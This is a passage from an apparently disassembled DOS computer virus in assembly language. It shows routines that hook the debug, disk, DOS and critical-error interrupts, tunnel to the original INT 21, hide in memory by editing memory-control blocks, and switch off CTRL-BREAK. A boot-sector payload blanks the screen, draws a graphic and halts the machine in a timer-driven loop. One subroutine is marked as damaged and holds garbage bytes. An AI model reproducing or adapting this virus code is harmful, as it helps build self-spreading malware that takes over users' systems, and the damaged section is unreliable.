  1403.         call    sub_22            ; Set INT 01 for debuging
  1404.         mov    data_92,ss        ; (CS:12DD=151Ch)
  1405.         mov    data_93,sp        ; (CS:12DF=0)
  1406.         push    cs
  1407.         mov    ax,offset loc_79
  1408.         push    ax
  1409.         mov    ax,70h
  1410.         mov    es,ax
  1411.         mov    cx,0FFFFh
  1412.         mov    al,0CBh
  1413.         xor    di,di            ; Zero register
  1414.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1415.         dec    di
  1416.         pushf                ; Push flags
  1417.         push    es
  1418.         push    di
  1419.         pushf                ; Push flags
  1420.         pop    ax
  1421.         or    ah,1
  1422.         push    ax
  1423.         in    al,21h            ; port 21h, 8259-1 int IMR
  1424.         mov    data_97,al        ; (CS:12E5=0)
  1425.         mov    al,0FFh
  1426.         out    21h,al            ; port 21h, 8259-1 int comands
  1427.         popf                ; Pop flags
  1428.         xor    ax,ax            ; Zero register
  1429.         jmp    dword ptr old_INT    ; (CS:122D=0)
  1430. loc_79:
  1431.         lds    dx,old_INT_1        ; (CS:1231=0) Load 32 bit ptr
  1432.         mov    al,1
  1433.         call    sub_27            ; Set INT 01 vector
  1434.         push    cs
  1435.         pop    ds
  1436.         mov    dx,offset int_13
  1437.         mov    al,13h
  1438.         call    sub_27            ; Set INT 13 vector
  1439.         mov    al,24h
  1440.         call    sub_1            ; Get INT 24 vector
  1441.         mov    word ptr old_INT_24,bx    ; (CS:123D=0)
  1442.         mov    word ptr old_INT_24+2,es ; (CS:123F=70h)
  1443.         mov    dx,offset int_24
  1444.         mov    al,24h
  1445.         call    sub_27            ; Set INT 24 vector
  1446.         call    sub_20            ; Restore regs from vir's stack
  1447.         retn
  1448. sub_13        endp
  1449.  
  1450.  
  1451. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1452. ;                   SUBROUTINE
  1453. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1454.  
  1455. sub_14        proc    near
  1456.         call    sub_21            ; Save REGS in vir's stack
  1457.         lds    dx,dword ptr cs:old_INT_13 ; (CS:1239=0) Load 32 bit ptr
  1458.         mov    al,13h
  1459.         call    sub_27            ; Set INT 13 vector
  1460.         lds    dx,dword ptr cs:old_INT_24 ; (CS:123D=0) Load 32 bit ptr
  1461.         mov    al,24h
  1462.         call    sub_27            ; Set INT 24 vector
  1463.         call    sub_20            ; Restore regs from vir's stack
  1464.         retn
  1465. sub_14        endp
  1466.  
  1467.  
  1468. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1469. ;                   SUBROUTINE
  1470. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1471.  
  1472. sub_15        proc    near
  1473.         mov    ax,3300h        ; Get CTRL-BREAK state
  1474.         call    sub_24            ; INT 21
  1475.         mov    cs:data_94,dl        ; (CS:12E1) save state
  1476.         mov    ax,3301h
  1477.         xor    dl,dl            ; Set CTRL-BREAK = OFF
  1478.         call    sub_24            ; INT 21
  1479.         retn
  1480. sub_15        endp
  1481.  
  1482.  
  1483. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1484. ;                   SUBROUTINE
  1485. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1486.  
  1487. sub_16        proc    near
  1488.         mov    dl,cs:data_94        ; (CS:12E1)
  1489.         mov    ax,3301h        ; Restore CTRL-BREAK state
  1490.         call    sub_24            ; INT 21
  1491.         retn
  1492. sub_16        endp
  1493.  
  1494.  
  1495. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1496. ;                   SUBROUTINE
  1497. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1498.  
  1499. sub_17        proc    near
  1500.         pop    cs:data_100        ; (CS:12EA=0)
  1501.         pushf                ; Push flags
  1502.         push    ax
  1503.         push    bx
  1504.         push    cx
  1505.         push    dx
  1506.         push    si
  1507.         push    di
  1508.         push    ds
  1509.         push    es
  1510.         jmp    word ptr cs:data_100    ; (CS:12EA=0)
  1511. sub_17        endp
  1512.  
  1513.  
  1514. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1515. ;                   SUBROUTINE
  1516. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1517.  
  1518. sub_18        proc    near
  1519.         les    di,dword ptr cs:ptr_INT_21 ; (CS:1235=0) Load 32 bit ptr
  1520.         mov    si,offset data_70       ; (CS:124B=0)
  1521.         push    cs
  1522.         pop    ds
  1523.         cld                   ; Clear direction
  1524.         mov    cx,5
  1525.  
  1526. locloop_80:
  1527.         lodsb                ; String [si] to al
  1528.         xchg    al,es:[di]
  1529.         mov    [si-1],al
  1530.         inc    di
  1531.         loop    locloop_80        ; Loop if cx > 0
  1532.  
  1533.         retn
  1534. sub_18        endp
  1535.  
  1536.  
  1537. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1538. ;                   SUBROUTINE
  1539. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1540.  
  1541. sub_19        proc    near
  1542.         pop    cs:data_100        ; (CS:12EA=0)
  1543.         pop    es
  1544.         pop    ds
  1545.         pop    di
  1546.         pop    si
  1547.         pop    dx
  1548.         pop    cx
  1549.         pop    bx
  1550.         pop    ax
  1551.         popf                ; Pop flags
  1552.         jmp    word ptr cs:data_100    ; (CS:12EA=0)
  1553.  
  1554. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1555.  
  1556. sub_20:
  1557.         mov    cs:data_114,offset sub_19 ; (CS:135D=0) Restore REGS
  1558.         jmp    short loc_81          ; (0DF6)
  1559.  
  1560. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1561.  
  1562. sub_21:
  1563.         mov    cs:data_114,offset sub_17 ; (CS:135D=0) Save REGS
  1564. loc_81:     mov    cs:data_112,ss        ; (CS:1359=151Ch)
  1565.         mov    cs:data_111,sp        ; (CS:1357=0)
  1566.         push    cs
  1567.         pop    ss
  1568.         mov    sp,cs:data_113        ; (CS:135B=0)
  1569.         call    word ptr cs:data_114    ; (CS:135D=0)
  1570.         mov    cs:data_113,sp        ; (CS:135B=0)
  1571.         mov    ss,cs:data_112        ; (CS:1359=151Ch)
  1572.         mov    sp,cs:data_111        ; (CS:1357=0)
  1573.         retn
  1574. sub_19        endp
  1575.  
  1576.  
  1577. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1578. ;                   SUBROUTINE
  1579. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1580.  
  1581. sub_22        proc    near
  1582.         mov    al,1
  1583.         call    sub_1               ; Get INT 01 vector
  1584.         mov    word ptr cs:old_INT_1,bx   ; (CS:1231=0)
  1585.         mov    word ptr cs:old_INT_1+2,es ; (CS:1233=70h)
  1586.         push    cs
  1587.         pop    ds
  1588.         mov    dx,offset debug
  1589.         call    sub_27               ; Set INT 01 vector
  1590.         retn
  1591. sub_22        endp
  1592.  
  1593. _21_48:     call    sub_23        ; (0E3A)
  1594.         jmp    loc_10        ; (030F)
  1595.  
  1596. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1597. ;                   SUBROUTINE
  1598. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1599.  
  1600. sub_23        proc    near
  1601.         cmp    byte ptr cs:data_95,0    ; (CS:12E2=0)
  1602.         je    loc_ret_83        ; Jump if equal
  1603.         cmp    bx,0FFFFh
  1604.         jne    loc_ret_83        ; Jump if not equal
  1605.         mov    bx,160h
  1606.         call    sub_24            ; INT 21
  1607.         jc    loc_ret_83        ; Jump if carry Set
  1608.         mov    dx,cs
  1609.         cmp    ax,dx
  1610.         jb    loc_82            ; Jump if below
  1611.         mov    es,ax
  1612.         mov    ah,49h
  1613.         call    sub_24            ; INT 21
  1614.         jmp    short loc_ret_83    ; (0E8A)
  1615. loc_82:
  1616.         dec    dx
  1617.         mov    ds,dx
  1618.         mov    word ptr ds:MCB_0001,0    ; (7DBC:0001=275h)
  1619.         inc    dx
  1620.         mov    ds,dx
  1621.         mov    es,ax
  1622.         push    ax
  1623.         mov    cs:data_72,ax        ; (CS:124E=7DBDh)
  1624.         xor    si,si            ; Zero register
  1625.         mov    di,si
  1626.         mov    cx,all_len/2
  1627.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  1628.         dec    ax
  1629.         mov    es,ax
  1630.         mov    ax,cs:data_69        ; (CS:1249=0)
  1631.         mov    es:MCB_0001,ax        ; (48FF:0001=0FFFFh)
  1632.         mov    ax,offset loc_ret_83
  1633.         push    ax
  1634.         retf
  1635. loc_ret_83:    retn
  1636. sub_23        endp
  1637.  
  1638. _21_37:     mov    byte ptr cs:data_104,2    ; (CS:12F0=0)
  1639.         jmp    loc_10            ; (030F)
  1640.  
  1641. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1642. ;                   SUBROUTINE
  1643. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1644.  
  1645. sub_24        proc    near            ; calls INT 21
  1646.         pushf
  1647.         call    dword ptr cs:ptr_INT_21 ; (CS:1235=0)
  1648.         retn
  1649. sub_24        endp
  1650.  
  1651. boot:        cli                ; Disable interrupts
  1652.         xor    ax,ax            ; Zero register
  1653.         mov    ss,ax
  1654.         mov    sp,7C00h
  1655.         jmp    short loc_85        ; (0EF4)
  1656.  
  1657. data1        db    0dbh,0dbh,0dbh, 20h
  1658. data2        db    0f9h,0e0h,0e3h,0c3h
  1659.         db     80h, 81h, 11h, 12h, 24h, 40h, 81h, 11h
  1660.         db     12h, 24h, 40h,0F1h,0F1h, 12h, 24h, 40h
  1661.         db     81h, 21h, 12h, 24h, 40h, 81h, 10h,0e3h
  1662.         db    0C3h, 80h, 00h, 00h, 00h, 00h, 00h, 00h
  1663.         db     00h, 00h, 00h, 00h, 82h, 44h,0F8h, 70h
  1664.         db    0C0h, 82h, 44h, 80h, 88h,0C0h, 82h, 44h
  1665.         db     80h, 80h,0C0h, 82h, 44h,0F0h, 70h,0C0h
  1666.         db     82h, 28h, 80h, 08h,0C0h, 82h, 28h, 80h
  1667.         db     88h, 00h,0F2h, 10h,0F8h, 70h,0C0h
  1668.  
  1669. loc_85:     push    cs
  1670.         pop    ds
  1671.         mov    dx,0B000h
  1672.         mov    ah,0Fh
  1673.         int    10h            ; Video display   ah=functn 0Fh
  1674.                         ;  get state, al=mode, bh=page
  1675.         cmp    al,7
  1676.         je    loc_86            ; Jump if equal
  1677.         mov    dx,0B800h
  1678. loc_86:
  1679.         mov    es,dx
  1680.         cld                ; Clear direction
  1681.         xor    di,di            ; Zero register
  1682.         mov    cx,7D0h
  1683.         mov    ax,720h
  1684.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  1685.         mov    si,data2-boot+7C00h    ; (CS:7C0E=0)
  1686.         mov    bx,2AEh
  1687. loc_87:
  1688.         mov    bp,5
  1689.         mov    di,bx
  1690. loc_88:
  1691.         lodsb                ; String [si] to al
  1692.         mov    dh,al
  1693.         mov    cx,8
  1694.  
  1695. locloop_89:
  1696.         mov    ax,720h
  1697.         shl    dx,1            ; Shift w/zeros fill
  1698.         jnc    loc_90            ; Jump if carry=0
  1699.         mov    al,0DBh
  1700. loc_90:
  1701.         stosw                ; Store ax to es:[di]
  1702.         loop    locloop_89        ; Loop if cx > 0
  1703.  
  1704.         dec    bp
  1705.         jnz    loc_88            ; Jump if not zero
  1706.         add    bx,0A0h
  1707.         cmp    si,loc_85-boot+7C00h
  1708.         jb    loc_87            ; Jump if below
  1709.         mov    ah,1
  1710.         int    10h            ; Video display   ah=functn 01h
  1711.                         ;  set cursor mode in cx
  1712.         mov    al,8
  1713.         mov    dx,loc_911-boot+7C00h
  1714.         call    sub_27            ; Set INT 08 vector
  1715.         mov    ax,7FEh
  1716.         out    21h,al            ; port 21h, 8259-1 int comands
  1717.                         ;  al = 0FEh, IRQ0 (timer) only
  1718.         sti                ; Enable interrupts
  1719.         xor    bx,bx            ; Zero register
  1720.         mov    cx,1
  1721. loc_91:     jmp    short loc_91        ; SLEEP!!!
  1722. loc_911:    dec    cx            ; INT 08 handler
  1723.         jnz    loc_92            ; Jump if not zero
  1724.         xor    di,di            ; Zero register
  1725.         inc    bx
  1726.         call    sub_25            ; (0F67)
  1727.         call    sub_25            ; (0F67)
  1728.         mov    cl,4
  1729. loc_92:
  1730.         mov    al,20h            ; ' '
  1731.         out    20h,al            ; port 20h, 8259-1 int command
  1732.                         ;  al = 20h, end of interrupt
  1733.         iret                ; Interrupt return
  1734.  
  1735. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1736. ;                   SUBROUTINE
  1737. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1738.  
  1739. sub_25        proc    near
  1740.         mov    cx,28h
  1741.  
  1742. locloop_93:
  1743.         call    sub_26            ; (0F93)
  1744.         stosw                ; Store ax to es:[di]
  1745.         stosw                ; Store ax to es:[di]
  1746.         loop    locloop_93        ; Loop if cx > 0
  1747.  
  1748. add1:        add    di,9Eh        ; sub di,9Eh
  1749.         mov    cx,17h
  1750.  
  1751. locloop_94:
  1752.         call    sub_26            ; (0F93)
  1753.         stosw                ; Store ax to es:[di]
  1754. add2:        add    di,9Eh        ; sub di,9Eh
  1755.         loop    locloop_94        ; Loop if cx > 0
  1756.  
  1757. setd:        std                ; Set direction flag
  1758. _setd        equ    setd - boot + 7c00h
  1759.         xor    byte ptr ds:[_setd],1    ; (CS:7CE7=0)
  1760. _add1        equ    add1 - boot + 7c01h
  1761.         xor    byte ptr ds:[_add1],28h ; (CS:7CD7=0) '('
  1762. _add2        equ    add2 - boot + 7c01h
  1763.         xor    byte ptr ds:[_add2],28h ; (CS:7CE2=0) '('
  1764.         retn
  1765. sub_25        endp
  1766.  
  1767.  
  1768. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1769. ;                   SUBROUTINE
  1770. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1771.  
  1772. sub_26        proc    near
  1773.         and    bx,3
  1774. _data1        equ    data1 - boot + 7c00h
  1775.         mov    al,byte ptr ds:[_data1+bx]     ; (CS:7C0A=0)
  1776.         inc    bx
  1777.         retn
  1778. sub_26        endp
  1779.  
  1780.  
  1781. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1782. ;                   SUBROUTINE
  1783. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1784.  
  1785. sub_27        proc    near
  1786.         push    es
  1787.         push    bx
  1788.         xor    bx,bx            ; Zero register
  1789.         mov    es,bx
  1790.         mov    bl,al
  1791.         shl    bx,1            ; Shift w/zeros fill
  1792.         shl    bx,1            ; Shift w/zeros fill
  1793.         mov    es:[bx],dx
  1794.         mov    es:[bx+2],ds
  1795.         pop    bx
  1796.         pop    es
  1797.         retn
  1798. sub_27        endp
  1799.  
  1800.  
  1801. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1802. ;              SUBROUTINE - *** DAMAGED BY STACK ***
  1803. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1804.  
  1805. sub_28        proc    near
  1806.         call    sub_13            ; (0CC6)
  1807.         mov    dl,1
  1808.         add    [bp+si-4F2h],bl
  1809.         pop    es
  1810.         jo    $+2            ; Jump if overflow=1
  1811.         xor    cx,word ptr ds:[32Eh]    ; (0000:032E=0)
  1812.         push    di
  1813.         sbb    [bp+di],al
  1814.         add    byte ptr ds:[0],ah    ; (0000:0000=5Bh)
  1815.         add    [bx+di],ah
  1816.         add    [bx+si+12h],dl
  1817.         sbb    dx,[bx]
  1818.         loopnz    $+11h            ; Loop if zf=0, cx>0
  1819.         jnp    $+23h            ; Jump if not parity
  1820.         db    0C1h, 02h, 31h, 41h, 7Ah, 16h
  1821.         db     01h, 1Fh, 9Ah, 0Eh,0FBh, 07h
  1822.         db     70h, 00h, 33h, 0Eh, 2Eh, 03h
  1823.         db     57h, 18h, 57h, 1Fh,0A9h, 80h
  1824.         db     00h, 00h, 57h, 1Fh
  1825. sub_28        endp
  1826.  
  1827.         org    1200h
  1828.  
  1829. data_38     dw    ?
  1830. data_40     dw    ?
  1831. data_41     dw    ?, ?
  1832. data_42     dw    ?
  1833. data_43     dw    ?
  1834. data_44     dw    ?
  1835. data_45     dw    ?
  1836. data_46     dw    ?, ?
  1837. data_48     dw    ?
  1838. data_49     dw    ?
  1839.         db    12 dup (?)
  1840. prm_blck_adr    dw    ?, ?
  1841. data_52     db    ?
  1842. data_53     dw    ?
  1843. data_54     dw    ?
  1844. old_INT     dd    ?
  1845. old_INT_1    dd    ?
  1846. ptr_INT_21    dd    ?
  1847. old_INT_13    dd    ?
  1848. old_INT_24    dd    ?
  1849. data_65     dd    ?
  1850. old_DS        dw    ?
  1851. data_68     dw    ?
  1852. data_69     dw    ?
  1853. data_70     db    ?
  1854. data_71     dw    ?
  1855. data_72     dw    ?
  1856. data_73     db    ?
  1857. data_74     db    ?
  1858. data_75     db    50h dup (?)
  1859. data_76     db    ?
  1860. data_77     dw    ?
  1861. data_78     dw    ?
  1862. data_79     dw    ?
  1863. data_80     dw    ?
  1864. data_81     dw    ?
  1865. data_82     dw    ?
  1866. data_83     dw    ?
  1867. data_84     dw    ?
  1868. data_85     dw    ?
  1869. data_86     db    0Eh dup (?)
  1870. data_87     dw    ?
  1871. data_88     dd    ?
  1872.         db    ?
  1873. data_89     db    10h dup (?)
  1874. data_90     db    ?
  1875. data_91     dw    ?
  1876. data_92     dw    ?
  1877. data_93     dw    ?
  1878. data_94     db    ?
  1879. data_95     db    ?
  1880. old_AX        dw    ?
  1881. data_97     db    ?
  1882. data_98     dw    ?
  1883. data_99     dw    ?
  1884. data_100    dw    ?
  1885. data_101    dw    ?
  1886. dos_ver     db    ?
  1887. data_103    db    ?
  1888. data_104    db    ?
  1889. exec_block    db    0Eh dup (?)
  1890. data_106    dw    ?
  1891. data_107    dw    ?
  1892. entry_point    dd    ?
  1893. file_name    db    50h dup (?)
  1894. data_111    dw    ?
  1895. data_112    dw    ?
  1896. data_113    dw    ?
  1897. data_114    dw    ?
  1898.  
  1899. seg_a        ends
  1900.  
  1901.         end
  1902.